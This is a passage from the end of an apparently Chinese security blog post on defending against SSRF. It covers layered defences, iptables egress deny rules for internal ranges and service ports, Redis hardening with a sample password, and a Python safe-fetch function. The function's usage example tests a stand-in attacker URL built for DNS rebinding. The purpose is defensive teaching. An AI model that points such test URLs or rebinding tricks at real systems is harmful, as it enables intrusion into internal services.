│ ┌───────────────────────────────┴───────────────────────────────┐ │
│ │ Layer 1: 架构层 │ │
│ │ · SSRF 代理服务部署在隔离区(无内网访问权限) │ │
│ │ · 敏感服务不对外暴露 │ │
│ │ · 使用 Unix Domain Socket 替代 TCP 暴露 │ │
│ └───────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
9.2 各层防御措施详解
| 防御层 | 措施 | 具体实现 | 防御目标 |
|---|---|---|---|
| 架构层 | 网络隔离区 | SSRF 代理服务部署在独立子网,无法路由到内网 | 即使 SSRF 成功也接触不到内网 |
| 网络层 | 出站白名单 | iptables/nftables 只允许访问 *.example.com:443 |
黑名单永远有遗漏 |
| 应用层 | IP 锁定 + 禁止重定向 | DNS 解析一次后用 IP 直连,allow_redirects=False |
消除 TOCTOU 时间窗口 |
| DNS 层 | 低 TTL 缓存 | 内部 DNS 对 TTL<5s 的 A 记录强制缓存 5 秒 | 阻止 DNS 重绑定 |
| 协议层 | 协议白名单 | 只允许 http:// 和 https://,不跟随重定向 |
防止 Gopher/File 等协议绕过 |
| 服务层 | 强制认证 | Redis requirepass,ES X-Pack,K8s RBAC |
即使被访问也无法执行命令 |
9.3 出站白名单实现
# === 出站白名单防火墙规则 ===
# 使用 iptables 实现(Linux 服务器端)
"""
# 默认拒绝所有出站
iptables -P OUTPUT DROP
# 允许 DNS 查询
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -d 8.8.8.8 -j ACCEPT
# 允许访问白名单域名对应的 IP(通过脚本动态解析)
# 例如只允许访问 api.github.com 和 cdn.example.com
# 禁止访问内网 IP 段
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
iptables -A OUTPUT -d 0.0.0.0/8 -j DROP
# 禁止访问 Redis 默认端口
iptables -A OUTPUT -p tcp --dport 6379 -j DROP
# 禁止访问常见管理端口
iptables -A OUTPUT -p tcp --dport 22 -j DROP # SSH
iptables -A OUTPUT -p tcp --dport 3306 -j DROP # MySQL
iptables -A OUTPUT -p tcp --dport 5432 -j DROP # PostgreSQL
iptables -A OUTPUT -p tcp --dport 9200 -j DROP # ElasticSearch
iptables -A OUTPUT -p tcp --dport 10250 -j DROP # K8s kubelet
iptables -A OUTPUT -p tcp --dport 2375 -j DROP # Docker
iptables -A OUTPUT -p tcp --dport 6443 -j DROP # K8s API Server
"""
9.4 Redis 安全加固
# === Redis 安全加固配置 ===
# redis.conf
# 1. 强制密码认证
requirepass YourStr0ngP@ssw0rd!2026
# 2. 禁用危险命令
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command DEBUG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
# 3. 绑定到 localhost
bind 127.0.0.1
# 4. 禁用保护模式关闭(启用保护模式)
protected-mode yes
# 5. 禁用特定操作
rename-command SAVE ""
rename-command SHUTDOWN ""
十、正确代码:安全的 SSRF 请求实现
下面给出一个经过安全加固的 SSRF 请求函数,覆盖了所有已知的绕过手段:
# === 安全的 SSRF 请求实现 ===
import socket
import ipaddress
import urllib.parse
import requests
from typing import Tuple, Optional
from dataclasses import dataclass
# URL 白名单(优于黑名单)
ALLOWED_DOMAINS = [
'api.example.com',
'cdn.example.com',
'webhook.example.com',
]
# 危险 IP 检查
def is_dangerous_ip(ip_str: str) -> bool:
"""检查 IP 地址是否为内网/保留/危险地址"""
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return True # 无法解析的地址视为危险
# 检查所有危险类型
return any([
ip.is_private, # 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
ip.is_loopback, # 127.0.0.0/8, ::1
ip.is_link_local, # 169.254.0.0/16
ip.is_reserved, # IETF 协议保留
ip.is_multicast, # 224.0.0.0/4
ip.is_unspecified, # 0.0.0.0, ::
str(ip).startswith('0.'), # 0.x.x.x
])
# DNS 解析并锁定 IP
def resolve_and_lock_ip(hostname: str) -> Tuple[Optional[str], str]:
"""
解析域名并返回安全的 IP 地址
关键:只解析一次,后续直接使用解析结果
"""
try:
resolved = socket.getaddrinfo(hostname, None, socket.AF_INET)
except socket.gaierror:
return None, f"DNS resolution failed for '{hostname}'"
# 检查所有解析结果
for family, socktype, proto, canonname, sockaddr in resolved:
ip_str = sockaddr[0]
if is_dangerous_ip(ip_str):
return None, f"Resolved IP '{ip_str}' is private/reserved/dangerous"
# 返回第一个安全 IP(锁定使用)
return resolved[0][4][0], "OK"
# URL 校验
def validate_url(url: str) -> Tuple[bool, str, Optional[str]]:
"""
校验 URL 安全性
返回: (is_safe, message, locked_ip)
"""
try:
parsed = urllib.parse.urlparse(url)
except ValueError:
return False, "Invalid URL format", None
# 1. 协议白名单
if parsed.scheme.lower() not in ['http', 'https']:
return False, f"Protocol '{parsed.scheme}' not allowed (only http/https)", None
# 2. 主机名校验
hostname = parsed.hostname
if not hostname:
return False, "No hostname in URL", None
# 3. 端口检查
port = parsed.port
if port and port not in [80, 443, 8080, 8443]:
return False, f"Port {port} not allowed", None
# 4. 域名白名单(如果启用)
if ALLOWED_DOMAINS:
if hostname not in ALLOWED_DOMAINS and not any(
hostname.endswith(f'.{allowed}') for allowed in ALLOWED_DOMAINS
):
return False, f"Domain '{hostname}' not in whitelist", None
# 5. DNS 解析 + IP 锁定
locked_ip, msg = resolve_and_lock_ip(hostname)
if locked_ip is None:
return False, msg, None
return True, "URL validated", locked_ip
# 核心安全请求函数
def safe_url_fetch(url: str, timeout: int = 5, max_size: int = 1024 * 1024) -> dict:
"""
安全的 URL 请求函数
核心防御点:
1. 协议白名单(只允许 http/https)
2. DNS 解析后锁定 IP(消除 TOCTOU)
3. 禁止跟随重定向(防止 302 → gopher 绕过)
4. 使用 IP 直连(DNS 不再参与后续请求)
5. 域名白名单(优于黑名单)
6. 响应长度限制
"""
# URL 校验
is_safe, msg, locked_ip = validate_url(url)
if not is_safe:
return {"error": f"Validation failed: {msg}"}
parsed = urllib.parse.urlparse(url)
original_host = parsed.hostname
# 使用锁定的 IP 构造请求 URL
safe_url = f"{parsed.scheme}://{locked_ip}"
if parsed.port:
safe_url += f":{parsed.port}"
safe_url += parsed.path
if parsed.query:
safe_url += f"?{parsed.query}"
# 发起请求
# 关键: allow_redirects=False 禁止跟随重定向
# 关键: 使用 IP 直连,不再经过 DNS
try:
response = requests.get(
safe_url,
headers={
'Host': original_host, # 保留原始 Host
'User-Agent': 'SafeFetch/1.0',
'Accept': '*/*',
},
timeout=timeout,
allow_redirects=False, # 核心: 禁止跟随重定向!
stream=True, # 核心: 流式读取,控制响应长度
verify=True, # 强制 TLS 验证
)
# 如果收到重定向,检查目标是否安全
if response.status_code in (301, 302, 303, 307, 308):
location = response.headers.get('Location', '')
return {"error": f"Redirect blocked (allow_redirects=False): {location[:100]}"}
# 响应长度限制
content_length = int(response.headers.get('Content-Length', 0))
if content_length > max_size:
response.close()
return {"error": f"Response too large: {content_length} > {max_size}"}
# 流式读取,防止内存溢出
content = b''
for chunk in response.iter_content(chunk_size=8192):
content += chunk
if len(content) > max_size:
response.close()
content = content[:max_size] + b"...[truncated]"
break
return {
"status_code": response.status_code,
"content_type": response.headers.get('Content-Type', ''),
"content_length": len(content),
"content": content.decode('utf-8', errors='replace'),
"resolved_ip": locked_ip,
}
except requests.RequestException as e:
return {"error": f"Request failed: {str(e)}"}
except Exception as e:
return {"error": f"Unexpected error: {str(e)}"}
# === 使用示例 ===
if __name__ == "__main__":
# 测试正常请求
result = safe_url_fetch("http://api.example.com/data")
print(result)
# 测试 SSRF 攻击(应该被拦截)
attack_url = "http://evil.rebind.attacker.com/redirect"
result = safe_url_fetch(attack_url)
print(result)
# 预期输出: {"error": "Validation failed: Domain 'evil.rebind.attacker.com' not in whitelist"}
10.1 安全代码核心要点总结
| 防御措施 | 防御的攻击手法 | 关键代码 |
|---|---|---|
| DNS 解析后锁定 IP | DNS 重绑定 | locked_ip = resolve_and_lock_ip(hostname) |
| 使用 IP 直连 | 消除 TOCTOU 窗口 | requests.get(f"{scheme}://{locked_ip}...") |
allow_redirects=False |
302 跳转到 Gopher | allow_redirects=False |
| 域名白名单 | 黑名单绕过 | if hostname not in ALLOWED_DOMAINS |
stream=True + 长度限制 |
响应走私/内存溢出 | iter_content(chunk_size=8192) |
| 端口白名单 | 非标准端口利用 | if port not in [80, 443, ...] |
| 强制 TLS 验证 | 中间人攻击 | verify=True |
总结与核心教训
核心结论
三层 SSRF 防护被击穿的关键教训是——任何依赖"先检查后请求"的防御模型都存在时间窗口攻击的可能性。DNS 重绑定和 Gopher 协议的组合拳之所以能穿透三层防护,正是因为它精准利用了"检查阶段"和"请求阶段"之间的 TOCTOU 竞态窗口。
防御原则
- 白名单优于黑名单:黑名单永远有遗漏,白名单从根源上限制可访问目标。
- 消除 TOCTOU 窗口:DNS 解析一次后锁定 IP,用 IP 直连,不再给 DNS 重绑定机会。
- 禁止跟随重定向:302 跳转是最常见的协议绕过手段,
allow_redirects=False是必选项。 - 内网服务强制认证:Redis、K8s API、ElasticSearch 等内网服务必须设置密码和认证,即使被 SSRF 访问也无法执行命令。
- 网络隔离是最后防线:将 SSRF 代理服务部署在独立网络区域,从网络层切断对内网的访问能力。
防护有效性对比
| 防护手段 | 防御 DNS 重绑定 | 防御 Gopher 绕过 | 防御协议降级 |
|---|---|---|---|
| URL 黑名单 | 无效 | 部分 | 无效 |
| DNS 解析校验 | 无效(TOCTOU) | 无效 | 无效 |
| 协议白名单 + 重定向跟随 | — | 无效 | 无效 |
| DNS 解析后锁定 IP | 有效 | — | — |
| 禁止跟随重定向 | — | 有效 | 有效 |
| 域名白名单 | 有效 | 有效 | 有效 |
| 出站网络白名单 | 有效 | 有效 | 有效 |
| 内网服务认证 | — | — | 有效 |
最终建议:不要试图在应用层完美修复 SSRF。正确的做法是将 域名白名单 + IP 锁定 + 禁止重定向 + 出站网络白名单 + 内网认证 五项措施同时部署,形成真正的纵深防御体系。任何单一措施都可能被绕过,但组合部署后攻击面将收敛到一个极小的范围内。
参考来源
- FreeBuf / CSDN, SSRF漏洞攻防全景解析:从挖掘实战到防御体系构建, 2026
- 博客园, SSRF DNS重绑定绕过法, 2026
- 博客园, SSRF——服务端请求伪造, 2026
- OWASP, Server-Side Request Forgery (SSRF) Cheat Sheet
- PortSwigger, Server-side request forgery (SSRF)
- RFC 1436, The Internet Gopher Protocol
- RFC 6761, Special-Use Domain Names
浙公网安备 33010602011771号